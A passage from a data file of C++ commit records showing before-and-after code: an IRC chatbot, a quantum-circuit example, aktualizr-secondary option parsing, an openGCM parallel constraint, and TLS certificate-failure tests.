(cc.parseOptions(argc,argv)) return 0;\n\n\tconn.hook_irc_command(\"376\", &end_of_motd);\n\tconn.hook_irc_command(\"PRIVMSG\", &got_privmsg);\n\tconn.hook_irc_command(\"KICK\", &got_kick);\n\n\tconst char *login = getlogin();\n\n\t\/\/ The login-name, nick, etc. are there only to make it look\n\t\/\/ pretty on IRC ident.\n\tconn.start (cc.ircNetwork.c_str(), cc.ircPort, cc.nick.c_str(), login,\n\t \"La Cogita OpenCog chatbot\", \"asdf\");\n\n\tconn.message_loop();\n\n\tfprintf(stderr, \"%s: Fatal Error: Remote side closed socket\\n\",\n\t\targv[0]);\n\n\treturn 1;\n}\n\n<|endoftext|>"} {"text":"\/\/ OpenQASM example, executes an OpenQASM circuit read from the input stream or\n\/\/ a file (if specified)\n\/\/ Source: .\/examples\/qasm\/qasm.cpp\n\n#include \n\n#include \"qpp.h\"\n\nint main(int argc, char** argv) {\n using namespace qpp;\n\n QCircuit qc;\n if (argc < 2)\n \/\/ read the circuit from the input stream\n qc = qasm::read(std::cin);\n else\n \/\/ read the circuit from a file\n qc = qasm::read_from_file(argv[1]);\n\n \/\/ initialize the quantum engine with a circuit\n QEngine q_engine{qc};\n\n \/\/ display the quantum circuit\n std::cout << \">> BEGIN CIRCUIT\\n\";\n std::cout << q_engine.get_circuit() << '\\n';\n std::cout << \">> END CIRCUIT\\n\\n\";\n\n \/\/ execute the quantum circuit\n q_engine.execute();\n\n \/\/ display the measurement statistics\n std::cout << \">> BEGIN ENGINE STATISTICS\\n\";\n std::cout << q_engine << '\\n';\n std::cout << \">> END ENGINE STATISTICS\\n\\n\";\n\n \/\/ display the final state\n ket psi_final = q_engine.get_psi();\n std::cout << \">> Final state:\\n\";\n std::cout << disp(psi_final) << '\\n';\n}\nqasm example update\/\/ OpenQASM example, executes an OpenQASM circuit read from the input stream or\n\/\/ a file (if specified)\n\/\/ Source: .\/examples\/qasm\/qasm.cpp\n\n#include \n\n#include \"qpp.h\"\n\nint main(int argc, char** argv) {\n using namespace qpp;\n\n QCircuit qc;\n if (argc < 2)\n \/\/ read the circuit from the input stream\n qc = qasm::read(std::cin);\n else\n \/\/ read the circuit from a file\n qc = qasm::read_from_file(argv[1]);\n\n \/\/ initialize the quantum engine with a circuit\n QEngine q_engine{qc};\n\n \/\/ display the quantum circuit\n std::cout << \">> BEGIN CIRCUIT\\n\";\n std::cout << q_engine.get_circuit() << '\\n';\n std::cout << \">> END CIRCUIT\\n\\n\";\n\n \/\/ execute the quantum circuit\n q_engine.execute();\n\n \/\/ display the measurement statistics\n std::cout << \">> BEGIN ENGINE STATISTICS\\n\";\n std::cout << q_engine << '\\n';\n std::cout << \">> END ENGINE STATISTICS\\n\\n\";\n\n \/\/ display the final state\n ket psi_final = q_engine.get_psi();\n std::cout << \">> Final state:\\n\" << disp(psi_final) << '\\n';\n}\n<|endoftext|>"} {"text":"#include \n#include \n#include \n\n#include \n\n#include \"aktualizr_secondary_config.h\"\n\n#include \"logging.h\"\n\nnamespace bpo = boost::program_options;\n\nvoid check_info_options(const bpo::options_description &description, const bpo::variables_map &vm) {\n if (vm.count(\"help\") != 0) {\n std::cout << description << '\\n';\n exit(EXIT_SUCCESS);\n }\n if (vm.count(\"version\") != 0) {\n std::cout << \"Current aktualizr-secondary version is: \" << AKTUALIZR_VERSION << \"\\n\";\n exit(EXIT_SUCCESS);\n }\n}\n\nbpo::variables_map parse_options(int argc, char *argv[]) {\n bpo::options_description description(\"aktualizr-secondary command line options\");\n \/\/ clang-format off\n description.add_options()\n (\"help,h\", \"print usage\")\n (\"version,v\", \"Current aktualizr-secondary version\")\n (\"loglevel\", bpo::value(), \"set log level 0-4 (trace, debug, warning, info, error)\")\n (\"config,c\", bpo::value()->required(), \"toml configuration file\")\n (\"server-port,p\", bpo::value(), \"command server listening port\");\n \/\/ clang-format on\n\n bpo::variables_map vm;\n std::vector unregistered_options;\n try {\n bpo::basic_parsed_options parsed_options =\n bpo::command_line_parser(argc, argv).options(description).allow_unregistered().run();\n bpo::store(parsed_options, vm);\n check_info_options(description, vm);\n bpo::notify(vm);\n unregistered_options = bpo::collect_unrecognized(parsed_options.options, bpo::include_positional);\n if (vm.count(\"help\") == 0 && !unregistered_options.empty()) {\n std::cout << description << \"\\n\";\n exit(EXIT_FAILURE);\n }\n } catch (const bpo::required_option &ex) {\n if (ex.get_option_name() == \"--config\") {\n std::cout << ex.get_option_name() << \" is missing.\\nYou have to provide a valid configuration \"\n \"file using toml format. See the example configuration file \"\n \"in config\/aktualizr_secondary\/config.toml.example\"\n << std::endl;\n exit(EXIT_FAILURE);\n } else {\n \/\/ print the error and append the default commandline option description\n std::cout << ex.what() << std::endl << description;\n exit(EXIT_SUCCESS);\n }\n } catch (const bpo::error &ex) {\n check_info_options(description, vm);\n\n \/\/ log boost error\n LOG_WARNING << \"boost command line option error: \" << ex.what();\n\n \/\/ print the error message to the standard output too, as the user provided\n \/\/ a non-supported commandline option\n std::cout << ex.what() << '\\n';\n\n \/\/ set the returnValue, thereby ctest will recognize\n \/\/ that something went wrong\n exit(EXIT_FAILURE);\n }\n\n return vm;\n}\n\n\/*****************************************************************************\/\nint main(int argc, char *argv[]) {\n logger_init();\n\n bpo::variables_map commandline_map = parse_options(argc, argv);\n\n \/\/ check for loglevel\n if (commandline_map.count(\"loglevel\") != 0) {\n \/\/ set the log level from command line option\n boost::log::trivial::severity_level severity =\n static_cast(commandline_map[\"loglevel\"].as());\n if (severity < boost::log::trivial::trace) {\n LOG_DEBUG << \"Invalid log level\";\n severity = boost::log::trivial::trace;\n }\n if (boost::log::trivial::fatal < severity) {\n LOG_WARNING << \"Invalid log level\";\n severity = boost::log::trivial::fatal;\n }\n if (severity <= boost::log::trivial::debug) {\n SSL_load_error_strings();\n }\n logger_set_threshold(severity);\n }\n\n LOG_INFO << \"Aktualizr-secondary version \" AKTUALIZR_VERSION \" starting\";\n LOG_DEBUG << \"Current directory: \" << boost::filesystem::current_path().string();\n \/\/ Initialize config with default values, the update with config, then with cmd\n boost::filesystem::path secondary_config_path(commandline_map[\"config\"].as());\n if (!boost::filesystem::exists(secondary_config_path)) {\n std::cout << \"aktualizr-secondary: configuration file \" << boost::filesystem::absolute(secondary_config_path)\n << \" not found. Exiting.\" << std::endl;\n exit(EXIT_FAILURE);\n }\n\n \/\/ TODO: do something\n return 0;\n}\nFix naming typo in aktualizr-secondary#include \n#include \n#include \n\n#include \n\n#include \"aktualizr_secondary_config.h\"\n\n#include \"logging.h\"\n\nnamespace bpo = boost::program_options;\n\nvoid check_secondary_options(const bpo::options_description &description, const bpo::variables_map &vm) {\n if (vm.count(\"help\") != 0) {\n std::cout << description << '\\n';\n exit(EXIT_SUCCESS);\n }\n if (vm.count(\"version\") != 0) {\n std::cout << \"Current aktualizr-secondary version is: \" << AKTUALIZR_VERSION << \"\\n\";\n exit(EXIT_SUCCESS);\n }\n}\n\nbpo::variables_map parse_options(int argc, char *argv[]) {\n bpo::options_description description(\"aktualizr-secondary command line options\");\n \/\/ clang-format off\n description.add_options()\n (\"help,h\", \"print usage\")\n (\"version,v\", \"Current aktualizr-secondary version\")\n (\"loglevel\", bpo::value(), \"set log level 0-4 (trace, debug, warning, info, error)\")\n (\"config,c\", bpo::value()->required(), \"toml configuration file\")\n (\"server-port,p\", bpo::value(), \"command server listening port\");\n \/\/ clang-format on\n\n bpo::variables_map vm;\n std::vector unregistered_options;\n try {\n bpo::basic_parsed_options parsed_options =\n bpo::command_line_parser(argc, argv).options(description).allow_unregistered().run();\n bpo::store(parsed_options, vm);\n check_secondary_options(description, vm);\n bpo::notify(vm);\n unregistered_options = bpo::collect_unrecognized(parsed_options.options, bpo::include_positional);\n if (vm.count(\"help\") == 0 && !unregistered_options.empty()) {\n std::cout << description << \"\\n\";\n exit(EXIT_FAILURE);\n }\n } catch (const bpo::required_option &ex) {\n if (ex.get_option_name() == \"--config\") {\n std::cout << ex.get_option_name() << \" is missing.\\nYou have to provide a valid configuration \"\n \"file using toml format. See the example configuration file \"\n \"in config\/aktualizr_secondary\/config.toml.example\"\n << std::endl;\n exit(EXIT_FAILURE);\n } else {\n \/\/ print the error and append the default commandline option description\n std::cout << ex.what() << std::endl << description;\n exit(EXIT_SUCCESS);\n }\n } catch (const bpo::error &ex) {\n check_secondary_options(description, vm);\n\n \/\/ log boost error\n LOG_WARNING << \"boost command line option error: \" << ex.what();\n\n \/\/ print the error message to the standard output too, as the user provided\n \/\/ a non-supported commandline option\n std::cout << ex.what() << '\\n';\n\n \/\/ set the returnValue, thereby ctest will recognize\n \/\/ that something went wrong\n exit(EXIT_FAILURE);\n }\n\n return vm;\n}\n\n\/*****************************************************************************\/\nint main(int argc, char *argv[]) {\n logger_init();\n\n bpo::variables_map commandline_map = parse_options(argc, argv);\n\n \/\/ check for loglevel\n if (commandline_map.count(\"loglevel\") != 0) {\n \/\/ set the log level from command line option\n boost::log::trivial::severity_level severity =\n static_cast(commandline_map[\"loglevel\"].as());\n if (severity < boost::log::trivial::trace) {\n LOG_DEBUG << \"Invalid log level\";\n severity = boost::log::trivial::trace;\n }\n if (boost::log::trivial::fatal < severity) {\n LOG_WARNING << \"Invalid log level\";\n severity = boost::log::trivial::fatal;\n }\n if (severity <= boost::log::trivial::debug) {\n SSL_load_error_strings();\n }\n logger_set_threshold(severity);\n }\n\n LOG_INFO << \"Aktualizr-secondary version \" AKTUALIZR_VERSION \" starting\";\n LOG_DEBUG << \"Current directory: \" << boost::filesystem::current_path().string();\n \/\/ Initialize config with default values, the update with config, then with cmd\n boost::filesystem::path secondary_config_path(commandline_map[\"config\"].as());\n if (!boost::filesystem::exists(secondary_config_path)) {\n std::cout << \"aktualizr-secondary: configuration file \" << boost::filesystem::absolute(secondary_config_path)\n << \" not found. Exiting.\" << std::endl;\n exit(EXIT_FAILURE);\n }\n\n \/\/ TODO: do something\n return 0;\n}\n<|endoftext|>"} {"text":"\/*\n openGCM, geometric constraint manager\n Copyright (C) 2012 Stefan Troeger \n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more detemplate tails.\n\n You should have received a copy of the GNU General Public License along\n with this program; if not, write to the Free Software Foundation, Inc.,\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n*\/\n\n#ifndef GCM_PARALLEL_H\n#define GCM_PARALLEL_H\n\n#include \"geometry.hpp\"\n\nnamespace gcm {\n\n\/\/the possible directions\nenum Direction { Same, Opposite };\n\n\/\/the calculations( same as we always calculate directions we can outsource the work to this functions)\nnamespace parallel {\n\ntemplate\ninline typename Kernel::number_type calc(T d1,\n T d2,\n Direction dir) {\n\n switch(dir) {\n case Same:\n return (d1-d2).norm();\n case Opposite:\n return (d1+d2).norm();\n }\n};\n\n\ntemplate\ninline typename Kernel::number_type calcGradFirst(T d1,\n T d2,\n T dd1,\n Direction dir) {\n\n switch(dir) {\n case Same:\n return (d1-d2).dot(dd1) \/ (d1-d2).norm();\n case Opposite:\n return (d1+d2).dot(dd1) \/ (d1+d2).norm();\n }\n};\n\ntemplate\ninline typename Kernel::number_type calcGradSecond(T d1,\n T d2,\n T dd2,\n Direction dir) {\n\n switch(dir) {\n case Same:\n return (d1-d2).dot(-dd2) \/ (d1-d2).norm();\n case Opposite:\n return (d1+d2).dot(dd2) \/ (d1+d2).norm();\n }\n};\n\ntemplate\ninline void calcGradFirstComp(T d1,\n T d2,\n T grad,\n Direction dir) {\n\n switch(dir) {\n case Same:\n grad = (d1-d2) \/ (d1-d2).norm();\n return;\n case Opposite:\n grad = (d1+d2) \/ (d1+d2).norm();\n return;\n }\n};\n\ntemplate\ninline void calcGradSecondComp(T d1,\n T d2,\n T grad,\n Direction dir) {\n\n switch(dir) {\n case Same:\n grad = (d2-d1) \/ (d1-d2).norm();\n return;\n case Opposite:\n grad = (d2+d1) \/ (d1+d2).norm();\n return;\n }\n};\n\n}\n\ntemplate< typename Kernel, typename Tag1, typename Tag2 >\nstruct Parallel3D {\n\n typedef typename Kernel::number_type Scalar;\n typedef typename Kernel::VectorMap Vector;\n Direction m_dir;\n\n Parallel3D(Direction d = Same) : m_dir(d) {\n \/\/ Base::Console().Message(\"choosen direction (0=same, 1=opposite): %d\\n\",m_dir);\n };\n\n \/\/template definition\n Scalar calculate(Vector& param1, Vector& param2) {\n assert(false);\n };\n Scalar calculateGradientFirst(Vector& param1, Vector& param2, Vector& dparam1) {\n assert(false);\n };\n Scalar calculateGradientSecond(Vector& param1, Vector& param2, Vector& dparam2) {\n assert(false);\n };\n void calculateGradientFirstComplete(Vector& param1, Vector& param2, Vector& gradient) {\n assert(false);\n };\n void calculateGradientSecondComplete(Vector& param1, Vector& param2, Vector& gradient) {\n assert(false);\n };\n};\n\ntemplate< typename Kernel >\nstruct Parallel3D< Kernel, tag::line3D, tag::line3D > {\n\n typedef typename Kernel::number_type Scalar;\n typedef typename Kernel::VectorMap Vector;\n\n Direction m_dir;\n\n Parallel3D(Direction d = Same) : m_dir(d) {};\n\n \/\/template definition\n Scalar calculate(Vector& param1, Vector& param2) {\n return parallel::calc(param1.template tail<3>(), param2.template tail<3>(), m_dir);\n };\n Scalar calculateGradientFirst(Vector& param1, Vector& param2, Vector& dparam1) {\n return parallel::calcGradFirst(param1.template tail<3>(), param2.template tail<3>(), dparam1.template tail<3>(), m_dir);\n };\n Scalar calculateGradientSecond(Vector& param1, Vector& param2, Vector& dparam2) {\n return parallel::calcGradSecond(param1.template tail<3>(), param2.template tail<3>(), dparam2.template tail<3>(), m_dir);\n };\n void calculateGradientFirstComplete(Vector& param1, Vector& param2, Vector& gradient) {\n gradient.template head<3>().setZero();\n parallel::calcGradFirstComp(param1.template tail<3>(), param2.template tail<3>(), gradient.template tail<3>(), m_dir);\n };\n void calculateGradientSecondComplete(Vector& param1, Vector& param2, Vector& gradient) {\n gradient.template head<3>().setZero();\n parallel::calcGradSecondComp(param1.template tail<3>(), param2.template tail<3>(), gradient.template tail<3>(), m_dir);\n };\n};\n\n\/\/planes like lines have the direction as segment 3-5, so we can use the same implementations\ntemplate< typename Kernel >\nstruct Parallel3D< Kernel, tag::plane3D, tag::plane3D > : public Parallel3D {\n Parallel3D(Direction d = Same) : Parallel3D(d) {};\n};\ntemplate< typename Kernel >\nstruct Parallel3D< Kernel, tag::line3D, tag::plane3D > : public Parallel3D {\n Parallel3D(Direction d = Same) : Parallel3D(d) {};\n};\n\ntemplate< typename Kernel >\nstruct Parallel3D< Kernel, tag::cylinder3D, tag::cylinder3D > {\n\n typedef typename Kernel::number_type Scalar;\n typedef typename Kernel::VectorMap Vector;\n\n Direction m_dir;\n\n Parallel3D(Direction d = Same) : m_dir(d) {\n Base::Console().Message(\"Create parrallel cylinder\");\n };\n\n \/\/template definition\n Scalar calculate(Vector& param1, Vector& param2) {\n return parallel::calc(param1.template segment<3>(3), param2.template segment<3>(3), m_dir);\n };\n Scalar calculateGradientFirst(Vector& param1, Vector& param2, Vector& dparam1) {\n return parallel::calcGradFirst(param1.template segment<3>(3), param2.template segment<3>(3), dparam1.template segment<3>(3), m_dir);\n };\n Scalar calculateGradientSecond(Vector& param1, Vector& param2, Vector& dparam2) {\n return parallel::calcGradSecond(param1.template segment<3>(3), param2.template segment<3>(3), dparam2.template segment<3>(3), m_dir);\n };\n void calculateGradientFirstComplete(Vector& param1, Vector& param2, Vector& gradient) {\n gradient.template head<3>().setZero();\n parallel::calcGradFirstComp(param1.template segment<3>(3), param2.template segment<3>(3), gradient.template segment<3>(3), m_dir);\n };\n void calculateGradientSecondComplete(Vector& param1, Vector& param2, Vector& gradient) {\n gradient.template head<3>().setZero();\n parallel::calcGradSecondComp(param1.template segment<3>(3), param2.template segment<3>(3), gradient.template segment<3>(3), m_dir);\n };\n};\n}\n\n#endif \/\/GCM_ANGLEfirst take on bidirectional parallel constraint\/*\n openGCM, geometric constraint manager\n Copyright (C) 2012 Stefan Troeger \n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more detemplate tails.\n\n You should have received a copy of the GNU General Public License along\n with this program; if not, write to the Free Software Foundation, Inc.,\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n*\/\n\n#ifndef GCM_PARALLEL_H\n#define GCM_PARALLEL_H\n\n#include \"geometry.hpp\"\n\nnamespace gcm {\n\n\/\/the possible directions\nenum Direction { Same, Opposite, Both };\n\n\/\/the calculations( same as we always calculate directions we can outsource the work to this functions)\nnamespace parallel {\n\ntemplate\ninline typename Kernel::number_type calc(T d1,\n T d2,\n Direction dir) {\n\n switch(dir) {\n case Same:\n return (d1-d2).norm();\n case Opposite:\n return (d1+d2).norm();\n case Both:\n return (d1\/d1.norm() + d2\/d2.norm()).norm();\n }\n};\n\n\ntemplate\ninline typename Kernel::number_type calcGradFirst(T d1,\n T d2,\n T dd1,\n Direction dir) {\n\n switch(dir) {\n case Same:\n return (d1-d2).dot(dd1) \/ (d1-d2).norm();\n case Opposite:\n return (d1+d2).dot(dd1) \/ (d1+d2).norm();\n case Both:\n const typename Kernel::number_type nd1 = d1.norm();\n const typename Kernel::Vector3 f = d1\/nd1 + d2\/d2.norm();\n return f.dot(dd1\/nd1 - d1*d1.dot(dd1)\/std::pow(nd1,3)) \/ f.norm();\n }\n};\n\ntemplate\ninline typename Kernel::number_type calcGradSecond(T d1,\n T d2,\n T dd2,\n Direction dir) {\n\n switch(dir) {\n case Same:\n return (d1-d2).dot(-dd2) \/ (d1-d2).norm();\n case Opposite:\n return (d1+d2).dot(dd2) \/ (d1+d2).norm();\n case Both:\n const typename Kernel::number_type nd2 = d2.norm();\n const typename Kernel::Vector3 f = d1\/d1.norm() + d2\/nd2;\n return f.dot(dd2\/nd2 - d2*d2.dot(dd2)\/std::pow(nd2,3)) \/ f.norm();\n }\n};\n\ntemplate\ninline void calcGradFirstComp(T d1,\n T d2,\n T grad,\n Direction dir) {\n\n switch(dir) {\n case Same:\n grad = (d1-d2) \/ (d1-d2).norm();\n return;\n case Opposite:\n grad = (d1+d2) \/ (d1+d2).norm();\n return;\n case Both:\n assert(false);\n }\n};\n\ntemplate\ninline void calcGradSecondComp(T d1,\n T d2,\n T grad,\n Direction dir) {\n\n switch(dir) {\n case Same:\n grad = (d2-d1) \/ (d1-d2).norm();\n return;\n case Opposite:\n grad = (d2+d1) \/ (d1+d2).norm();\n return;\n case Both:\n assert(false);\n }\n};\n\n}\n\ntemplate< typename Kernel, typename Tag1, typename Tag2 >\nstruct Parallel3D {\n\n typedef typename Kernel::number_type Scalar;\n typedef typename Kernel::VectorMap Vector;\n Direction m_dir;\n\n Parallel3D(Direction d = Same) : m_dir(d) {\n \/\/ Base::Console().Message(\"choosen direction (0=same, 1=opposite): %d\\n\",m_dir);\n };\n\n \/\/template definition\n Scalar calculate(Vector& param1, Vector& param2) {\n assert(false);\n };\n Scalar calculateGradientFirst(Vector& param1, Vector& param2, Vector& dparam1) {\n assert(false);\n };\n Scalar calculateGradientSecond(Vector& param1, Vector& param2, Vector& dparam2) {\n assert(false);\n };\n void calculateGradientFirstComplete(Vector& param1, Vector& param2, Vector& gradient) {\n assert(false);\n };\n void calculateGradientSecondComplete(Vector& param1, Vector& param2, Vector& gradient) {\n assert(false);\n };\n};\n\ntemplate< typename Kernel >\nstruct Parallel3D< Kernel, tag::line3D, tag::line3D > {\n\n typedef typename Kernel::number_type Scalar;\n typedef typename Kernel::VectorMap Vector;\n\n Direction m_dir;\n\n Parallel3D(Direction d = Same) : m_dir(d) {};\n\n \/\/template definition\n Scalar calculate(Vector& param1, Vector& param2) {\n return parallel::calc(param1.template tail<3>(), param2.template tail<3>(), m_dir);\n };\n Scalar calculateGradientFirst(Vector& param1, Vector& param2, Vector& dparam1) {\n return parallel::calcGradFirst(param1.template tail<3>(), param2.template tail<3>(), dparam1.template tail<3>(), m_dir);\n };\n Scalar calculateGradientSecond(Vector& param1, Vector& param2, Vector& dparam2) {\n return parallel::calcGradSecond(param1.template tail<3>(), param2.template tail<3>(), dparam2.template tail<3>(), m_dir);\n };\n void calculateGradientFirstComplete(Vector& param1, Vector& param2, Vector& gradient) {\n gradient.template head<3>().setZero();\n parallel::calcGradFirstComp(param1.template tail<3>(), param2.template tail<3>(), gradient.template tail<3>(), m_dir);\n };\n void calculateGradientSecondComplete(Vector& param1, Vector& param2, Vector& gradient) {\n gradient.template head<3>().setZero();\n parallel::calcGradSecondComp(param1.template tail<3>(), param2.template tail<3>(), gradient.template tail<3>(), m_dir);\n };\n};\n\n\/\/planes like lines have the direction as segment 3-5, so we can use the same implementations\ntemplate< typename Kernel >\nstruct Parallel3D< Kernel, tag::plane3D, tag::plane3D > : public Parallel3D {\n Parallel3D(Direction d = Same) : Parallel3D(d) {};\n};\ntemplate< typename Kernel >\nstruct Parallel3D< Kernel, tag::line3D, tag::plane3D > : public Parallel3D {\n Parallel3D(Direction d = Same) : Parallel3D(d) {};\n};\n\ntemplate< typename Kernel >\nstruct Parallel3D< Kernel, tag::cylinder3D, tag::cylinder3D > {\n\n typedef typename Kernel::number_type Scalar;\n typedef typename Kernel::VectorMap Vector;\n\n Direction m_dir;\n\n Parallel3D(Direction d = Same) : m_dir(d) {\n Base::Console().Message(\"Create parrallel cylinder\");\n };\n\n \/\/template definition\n Scalar calculate(Vector& param1, Vector& param2) {\n return parallel::calc(param1.template segment<3>(3), param2.template segment<3>(3), m_dir);\n };\n Scalar calculateGradientFirst(Vector& param1, Vector& param2, Vector& dparam1) {\n return parallel::calcGradFirst(param1.template segment<3>(3), param2.template segment<3>(3), dparam1.template segment<3>(3), m_dir);\n };\n Scalar calculateGradientSecond(Vector& param1, Vector& param2, Vector& dparam2) {\n return parallel::calcGradSecond(param1.template segment<3>(3), param2.template segment<3>(3), dparam2.template segment<3>(3), m_dir);\n };\n void calculateGradientFirstComplete(Vector& param1, Vector& param2, Vector& gradient) {\n gradient.template head<3>().setZero();\n parallel::calcGradFirstComp(param1.template segment<3>(3), param2.template segment<3>(3), gradient.template segment<3>(3), m_dir);\n };\n void calculateGradientSecondComplete(Vector& param1, Vector& param2, Vector& gradient) {\n gradient.template head<3>().setZero();\n parallel::calcGradSecondComp(param1.template segment<3>(3), param2.template segment<3>(3), gradient.template segment<3>(3), m_dir);\n };\n};\n}\n\n#endif \/\/GCM_ANGLE\n<|endoftext|>"} {"text":"\/** @file Tests to make sure that invalid certificates fail to connect *\/\n#include \"catch.hpp\"\n\n#include \n#include \n#include \n#include \n\n#include \"testinputs.h\"\n\nSCENARIO( \"Test that server setup fails when given invalid security files\", \"[security][local]\" )\n{\n\tWHEN( \"I create a server with invalid certificate file\" )\n\t{\n\t\tcommunique::Server myServer;\n\t\tREQUIRE_NOTHROW( myServer.setCertificateChainFile( testinputs::testFileDirectory+\"blahblahblah.pem\" ) );\n\t\tREQUIRE_THROWS( myServer.listen( ++testinputs::portNumber ) );\n\t}\n\n\tWHEN( \"I create a server with invalid key file\" )\n\t{\n\t\tcommunique::Server myServer;\n\t\tREQUIRE_NOTHROW( myServer.setPrivateKeyFile( testinputs::testFileDirectory+\"blahblahblah.pem\" ) );\n\t\tREQUIRE_THROWS( myServer.listen( ++testinputs::portNumber ) );\n\t}\n\n\tWHEN( \"I create a server with key in place of the certificate\" )\n\t{\n\t\tcommunique::Server myServer;\n\t\tREQUIRE_NOTHROW( myServer.setCertificateChainFile( testinputs::testFileDirectory+\"server_key.pem\" ) );\n\t\tREQUIRE_THROWS( myServer.listen( ++testinputs::portNumber ) );\n\t}\n\n\tWHEN( \"I create a server with certificate in place of the key\" )\n\t{\n\t\tcommunique::Server myServer;\n\t\tREQUIRE_NOTHROW( myServer.setPrivateKeyFile( testinputs::testFileDirectory+\"server_cert.pem\" ) );\n\t\tREQUIRE_THROWS( myServer.listen( ++testinputs::portNumber ) );\n\t}\n}\n\nSCENARIO( \"Test that client setup fails when given invalid security files\", \"[security][local]\" )\n{\n\tWHEN( \"I create a client with invalid verification file\" )\n\t{\n\t\tcommunique::Client myClient;\n\t\tREQUIRE_NOTHROW( myClient.setVerifyFile( testinputs::testFileDirectory+\"blahblahblah.pem\" ) );\n\t\tREQUIRE_THROWS( myClient.connect( \"wss:\/\/echo.websocket.org\" ) );\n\t}\n}\n\nSCENARIO( \"Test that an incorrect server certificate fails \", \"[security][local]\" )\n{\n\tGIVEN( \"A Client and server\" )\n\t{\n\t\tcommunique::Server myServer;\n\t\tmyServer.setCertificateChainFile( testinputs::testFileDirectory+\"old\/server.pem\" );\n\t\tmyServer.setPrivateKeyFile( testinputs::testFileDirectory+\"old\/server.pem\" );\n\n\t\tcommunique::Client myClient;\n\t\tmyClient.setVerifyFile( testinputs::testFileDirectory+\"certificateAuthority_cert.pem\" );\n\n\t\tWHEN( \"I start a server listening and try and connect a client to it\" )\n\t\t{\n\t\t\tREQUIRE_NOTHROW( myServer.listen( ++testinputs::portNumber ) );\n\t\t\tstd::this_thread::sleep_for( testinputs::shortWait );\n\n\t\t\tREQUIRE_NOTHROW( myClient.connect( \"ws:\/\/localhost:\"+std::to_string(testinputs::portNumber) ) );\n\n\t\t\tREQUIRE( !myClient.isConnected() );\n\n\t\t\tREQUIRE_NOTHROW( myServer.stop() );\n\t\t}\n\t}\n}\n\nSCENARIO( \"Test that connection fails when server requires client authentication, and client doesn't authenticate\", \"[security][local]\" )\n{\n\tGIVEN( \"A Client and server\" )\n\t{\n\t\tcommunique::Server myServer;\n\t\tmyServer.setCertificateChainFile( testinputs::testFileDirectory+\"server_cert.pem\" );\n\t\tmyServer.setPrivateKeyFile( testinputs::testFileDirectory+\"server_key.pem\" );\n\t\tmyServer.setVerifyFile( testinputs::testFileDirectory+\"certificateAuthority_cert.pem\" );\n\n\t\tcommunique::Client myClient;\n\t\tmyClient.setVerifyFile( testinputs::testFileDirectory+\"certificateAuthority_cert.pem\" );\n\n\t\tWHEN( \"I start a server listening and try and connect a client to it\" )\n\t\t{\n\t\t\tREQUIRE_NOTHROW( myServer.listen( ++testinputs::portNumber ) );\n\t\t\tstd::this_thread::sleep_for( testinputs::shortWait );\n\n\t\t\tREQUIRE_NOTHROW( myClient.connect( \"ws:\/\/localhost:\"+std::to_string(testinputs::portNumber) ) );\n\n\t\t\tREQUIRE( !myClient.isConnected() );\n\n\t\t\tREQUIRE_NOTHROW( myServer.stop() );\n\t\t}\n\t}\n}\n\nSCENARIO( \"Test that client authentication works\", \"[security][local]\" )\n{\n\tGIVEN( \"A Client and server\" )\n\t{\n\t\tcommunique::Server myServer;\n\t\tmyServer.setCertificateChainFile( testinputs::testFileDirectory+\"server_cert.pem\" );\n\t\tmyServer.setPrivateKeyFile( testinputs::testFileDirectory+\"server_key.pem\" );\n\t\tmyServer.setVerifyFile( testinputs::testFileDirectory+\"certificateAuthority_cert.pem\" );\n\n\t\tcommunique::Client myClient;\n\t\tmyClient.setCertificateChainFile( testinputs::testFileDirectory+\"client_cert.pem\" );\n\t\tmyClient.setPrivateKeyFile( testinputs::testFileDirectory+\"client_key.pem\" );\n\t\tmyClient.setVerifyFile( testinputs::testFileDirectory+\"certificateAuthority_cert.pem\" );\n\n\t\tWHEN( \"I start a server listening and try and connect a client to it\" )\n\t\t{\n\t\t\tREQUIRE_NOTHROW( myServer.listen( ++testinputs::portNumber ) );\n\t\t\tstd::this_thread::sleep_for( testinputs::shortWait );\n\n\t\t\tREQUIRE_NOTHROW( myClient.connect( \"ws:\/\/localhost:\"+std::to_string(testinputs::portNumber) ) );\n\n\t\t\tREQUIRE( myClient.isConnected() );\n\n\t\t\tREQUIRE_NOTHROW( myClient.disconnect() );\n\t\t\tREQUIRE_NOTHROW( myServer.stop() );\n\t\t}\n\t}\n}\nAdd a test with an expired server certificate\/** @file Tests to make sure that invalid certificates fail to connect *\/\n#include \"catch.hpp\"\n\n#include \n#include \n#include \n#include \n\n#include \"testinputs.h\"\n\nSCENARIO( \"Test that server setup fails when given invalid security files\", \"[security][local]\" )\n{\n\tWHEN( \"I create a server with invalid certificate file\" )\n\t{\n\t\tcommunique::Server myServer;\n\t\tREQUIRE_NOTHROW( myServer.setCertificateChainFile( testinputs::testFileDirectory+\"blahblahblah.pem\" ) );\n\t\tREQUIRE_THROWS( myServer.listen( ++testinputs::portNumber ) );\n\t}\n\n\tWHEN( \"I create a server with invalid key file\" )\n\t{\n\t\tcommunique::Server myServer;\n\t\tREQUIRE_NOTHROW( myServer.setPrivateKeyFile( testinputs::testFileDirectory+\"blahblahblah.pem\" ) );\n\t\tREQUIRE_THROWS( myServer.listen( ++testinputs::portNumber ) );\n\t}\n\n\tWHEN( \"I create a server with key in place of the certificate\" )\n\t{\n\t\tcommunique::Server myServer;\n\t\tREQUIRE_NOTHROW( myServer.setCertificateChainFile( testinputs::testFileDirectory+\"server_key.pem\" ) );\n\t\tREQUIRE_THROWS( myServer.listen( ++testinputs::portNumber ) );\n\t}\n\n\tWHEN( \"I create a server with certificate in place of the key\" )\n\t{\n\t\tcommunique::Server myServer;\n\t\tREQUIRE_NOTHROW( myServer.setPrivateKeyFile( testinputs::testFileDirectory+\"server_cert.pem\" ) );\n\t\tREQUIRE_THROWS( myServer.listen( ++testinputs::portNumber ) );\n\t}\n}\n\nSCENARIO( \"Test that client setup fails when given invalid security files\", 